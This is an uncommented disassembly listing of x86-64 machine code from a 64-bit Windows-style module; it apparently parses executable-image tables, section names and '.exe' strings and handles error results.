mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004b7ad
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b7b8
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x788996b
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180049ecc
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5862
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004a1dc
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5974
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004abba
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f599b
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004adeb
mov r15, qword [rsp + 0x48]
mov rax, qword [r15 + 0x10]
cmp rax, qword [rsi + 0x10]
jne 0x180056ce6
mov rbx, qword [rsp + 0x50]
lea rax, [r15 + 0x10]
mov qword [rsp + 0x128], rax
mov r12, qword [r15 + 0x40]
lea r9, [rdi - 0x10]
mov qword [rsp + 0x20], rbp
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 0x10
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r12
call fcn.180038a10
mov r14d, dword [rsp + 0x40]
test r14d, r14d
mov qword [rsp + 0xe8], r15
je 0x18004b6e1
mov r15, rbx
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov edi, dword [rsp + 0x50]
jmp 0x180050092
mov rax, qword [rsp + 0x188]
or rax, qword [rsp + 0x190]
jne 0x18004a252
add rbx, rsi
add rbx, 0x10
xor r14d, r14d
lea rsi, [rsp + 0x180]
movabs r12, 0xffffffff00000000
lea r9, [rbx + r14]
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov rcx, rsi
call fcn.1800394f0
mov edi, dword [rsp + 0x180]
test edi, edi
jne 0x180050ac5
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x188]
add rcx, r12
adc rax, 0xffffffffffffffff
cmp rcx, r12
sbb rax, 0
jae 0x18004a252
add r14, 0x40
cmp r14, 0x200
jne 0x18004b3f3
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180070c38]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov edx, 0xbd51f66
mov r8d, 0xffff1c70
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004a252
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004a252
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x18005202e
mov rax, qword [rsp + 0xa8]
mov qword [rax], rdi
mov dword [rax + 8], ebx
movq xmm6, rax
shufpd xmm6, xmmword [0x18006b190], 2
jmp 0x18004a7d3
xor edi, edi
xor esi, esi
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
mov ebx, esi
or ebx, edi
je 0x18005202b
shr rsi, 0x20
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x48], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050363
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180050371
mov rsi, qword [rsp + 0x188]
cmp rsi, 0x8000
jb 0x18004ae40
mov rax, qword [r15]
mov rcx, qword [rax + 0x68]
sub rcx, 1
jb 0x180052a20
mov rax, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov edx, dword [rax + rcx*8 + 0x10]
add edx, dword [rax + rcx*8 + 0x14]
xor eax, eax
mov rcx, rsi
sub rcx, rdx
cmovae rax, rcx
cmp rax, 0x8000
jb 0x18004ae40
mov rax, qword [rsp + 0xf0]
mov r13, qword [rax]
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x180]
mov r9, qword [rsp + 0x1240]
call fcn.180002a00
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x1800512ba
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005180b
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180051816
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov ecx, 0xf03f589a
xor edx, edx
or rax, rdx
mov edx, esi
shr edx, 8
mov dword [rsp + 0x180], edi
mov byte [rsp + 0x184], sil
shr esi, 0x18
mov byte [rsp + 0x187], sil
mov word [rsp + 0x185], dx
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x188], rax
lea rdx, [0x18007451d]
lea r9, [rsp + 0x180]
mov r8d, 7
mov rcx, r15
call fcn.180057260
jmp 0x18004a252
cmp qword [rsp + 0x48], 0x10
jne 0x18005007d
cmp dword [rsp + 0x180], 0x6578652e
jne 0x180050909
xor eax, eax
jmp 0x180050a05
cmp qword [rsp + 0x48], 0
je 0x18004b919
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800710e8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x998609a6
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004b919
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004b919
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f59a1
jmp 0x18004b324
cmp qword [rsp + 0x48], 0
je 0x180049717
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x1198]
mov qword [rsp + 0x108], rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 1
lea r9, [0x180070218]
lea r15, [rsp + 0x40]
lea rdx, [rsp + 0x108]
mov rcx, r15
call fcn.180062990
mov r13d, dword [rsp + 0x40]
test r13d, r13d
je 0x180051153
mov ebp, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180051545
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor esi, esi
jmp 0x180051553
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f59e9
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074547]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
mov rax, qword [r15]
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
lea r8, str..data
mov r9d, 5
call fcn.180042560
cmp ax, 1
jne 0x18004bc5d
mov ecx, edx
mov rax, qword [r15]
mov rdx, qword [rax + 0x68]
movzx ecx, cx
cmp rdx, rcx
jbe 0x18005249d
mov rdx, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov r14d, dword [rdx + rcx*8 + 0xc]
cmp dword [rax + 0x48], r14d
jbe 0x18004bc55
mov r12d, dword [rdx + rcx*8 + 0x10]
cmp r12, 0x1000
jb 0x18004bc55
add r14, qword [rax + 0x188]
xorpd xmm6, xmm6
movapd xmmword [rsp + 0x70], xmm6
mov r13d, 8
xor ebx, ebx
lea r15, [rsp + 0x180]
movdqa xmm7, xmmword [0x18006b1a0]
xor ebp, ebp
cmp rbp, r12
jae 0x18004bc45
lea r9, [r14 + rbp]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
mov qword [rsp + 0x28], 0x10
mov rcx, r15
call fcn.180038a10
mov edi, dword [rsp + 0x180]
test edi, edi
jne 0x18004d0f0
cmp qword [rsp + 0x188], 0x10
jne 0x18004d108
movzx eax, word [rsp + 0x72]
movd xmm0, eax
movdqa xmm1, xmmword [rsp + 0x70]
pcmpeqb xmm1, xmm6
punpcklbw xmm1, xmm1
pshuflw xmm1, xmm1, 0xd4
pshufd xmm2, xmm1, 0xd4
pand xmm2, xmm7
pcmpeqb xmm0, xmm6
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0xd4
pshufd xmm3, xmm0, 0xd4
pand xmm3, xmm7
movd xmm0, dword [rsp + 0x74]
movzx eax, word [rsp + 0x76]
movd xmm4, eax
pcmpeqb xmm0, xmm6
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0xd4
pshufd xmm1, xmm0, 0xd4
pand xmm1, xmm7
paddq xmm1, xmm2
pcmpeqb xmm4, xmm6
punpcklbw xmm4, xmm4
pshuflw xmm0, xmm4, 0xd4
pshufd xmm0, xmm0, 0xd4
pand xmm0, xmm7
paddq xmm0, xmm3
movq xmm2, qword [rsp + 0x78]
movzx eax, word [rsp + 0x7a]
movd xmm3, eax
pcmpeqb xmm2, xmm6
punpcklbw xmm2, xmm2
pshuflw xmm2, xmm2, 0xd4
pshufd xmm2, xmm2, 0xd4
pand xmm2, xmm7
pcmpeqb xmm3, xmm6
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm7
movd xmm4, dword [rsp + 0x7c]
movzx eax, word [rsp + 0x7e]
movd xmm5, eax
pcmpeqb xmm4, xmm6
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm7
paddq xmm4, xmm2
paddq xmm4, xmm1
pcmpeqb xmm5, xmm6
punpcklbw xmm5, xmm5
pshuflw xmm1, xmm5, 0xd4
pshufd xmm1, xmm1, 0xd4
pand xmm1, xmm7
paddq xmm1, xmm3
paddq xmm1, xmm0
paddq xmm1, xmm4
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp rax, 2
ja 0x18004bc45
lea r9, [r14 + rbp]
add r9, 0x10
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.180038f70
mov edi, dword [rsp + 0x180]
mov esi, dword [rsp + 0x184]
test edi, edi
jne 0x18004d1db
lea eax, [rsi - 2]
cmp eax, 0xfd
jae 0x18004bc45
lea rax, [rsi + rbp]
add rax, 0x14
mov rcx, rax
and rcx, 0xfffffffffffffff0
xor ebp, ebp
test al, 0xf
setne bpl
shl rbp, 4
add rbp, rcx
jb 0x18004bc45
dec r13
jne 0x18004b9a9
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800710f1]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov r12, qword [rsp + 0xc8]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xc39eb295
mov r8d, 0xffff1c71
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
je 0x18004bc5d
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004bc5d
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
mov rdx, r15
lea r15, [rsp + 0x180]
mov rcx, r15
mov r8, r13
call fcn.1800660c0
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004bce4
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004bd95
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004bda0
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x190]
mov rax, qword [rax + 0x38]
dec qword [rcx]
cmp rax, 1
jne 0x18004bde9
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, qword [rsp + 0x98]
mov r8, r13
call fcn.1800660c0
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004caa9
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004ce37
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ce42
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5a4d
movdqa xmm0, xmmword [rsp + 0x70]
mov dword [rsp + 0x180], edi
mov dword [rsp + 0x184], esi
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074555]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov r8d, dword [rax + 0x12c]
cmp dword [rax + 0x48], r8d
jbe 0x18004bfde
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 4
lea r9, [0x180071420]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x18004bece
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004bf73
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004bf81
cmp qword [rsp + 0x48], 0
je 0x18004bfde
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800714a0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xe2773f3
mov r8d, 0xffff1c78
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004bfde
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004bfde
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5aa4
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007455d]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r15, qword [rsp + 0x98]
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004c07f
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004c170
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004c17b
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004c205
cmp dword [rsp + 0x7c], 0x1337c68
jne 0x18004c205
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xa
lea r9, [0x180071530]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004cbb1
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004ce54
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ce62
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d8fb8
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074565]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [r15]
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
lea r8, str..data
mov r9d, 5
call fcn.180042560
cmp ax, 1
jne 0x18004c276
mov ecx, edx
mov rax, qword [r15]
mov rdx, qword [rax + 0x68]
movzx ecx, cx
cmp rdx, rcx
jbe 0x1800524ab
mov edi, dword [rax + 0x48]
mov rdx, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov esi, dword [rdx + rcx*8 + 0xc]
cmp edi, esi
jbe 0x18004c25e
cmp dword [rdx + rcx*8 + 0x10], 0x1000
jae 0x18004c633
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
lea rbp, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rbp
mov r8, r15
mov r9, r13
call fcn.180036b60
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x18004c30f
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, esi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004c403
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004c40e
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004c498
cmp dword [rsp + 0x7c], 0x7e3
jne 0x18004c498
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], 6
lea r9, [0x180071700]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x18004cc59
mov r14, rbp
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004ce92
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004cea0
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d903e
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], esi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074575]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
cmp dword [rsp + 0x168], 0x63
ja 0x18004c8ab
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004c53f
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004c816
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004c821
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004c8ab
cmp dword [rsp + 0x7c], 0x7e3
jne 0x18004c8ab
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [0x180071848]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004ced3
mov r14, rbp
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004cf83
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004cf91
mov rax, qword [rax + 0x188]
mov r13, rdi
add r13, rax
mov qword [rsp + 0xe8], rax
add rsi, rax
mov ebx, 3
lea r15, [rsp + 0x180]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r15
mov r9, rsi
call fcn.180038f70
mov ebp, dword [rsp + 0x180]
mov r12d, dword [rsp + 0x184]
test ebp, ebp
jne 0x18004d091
lea eax, [r12 - 0x10000000]
cmp eax, 0xefffffff
jae 0x18004c25e
lea r9, [rsi + 4]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.180038f70
mov ebp, dword [rsp + 0x180]
mov r14d, dword [rsp + 0x184]
test ebp, ebp
jne 0x18004d17c
lea eax, [r14 - 0x10000000]
cmp eax, 0xefffffff
jae 0x18004c25e
xor r14d, r12d
cmp r14d, 0x68
jb 0x18004c25e
cmp edi, r14d
jbe 0x18004c25e
lea r9, [rsi + 0x60]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004d23a
add r14, qword [rsp + 0x188]
mov rax, 0xffffffffffffffff
cmovb r14, rax
cmp qword [rsp + 0xe8], r14
ja 0x18004c25e
cmp r14, r13
jae 0x18004c25e
add rsi, 0x68
dec rbx
jne 0x18004c658
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071674]
lea rcx, [rsp + 0x40]
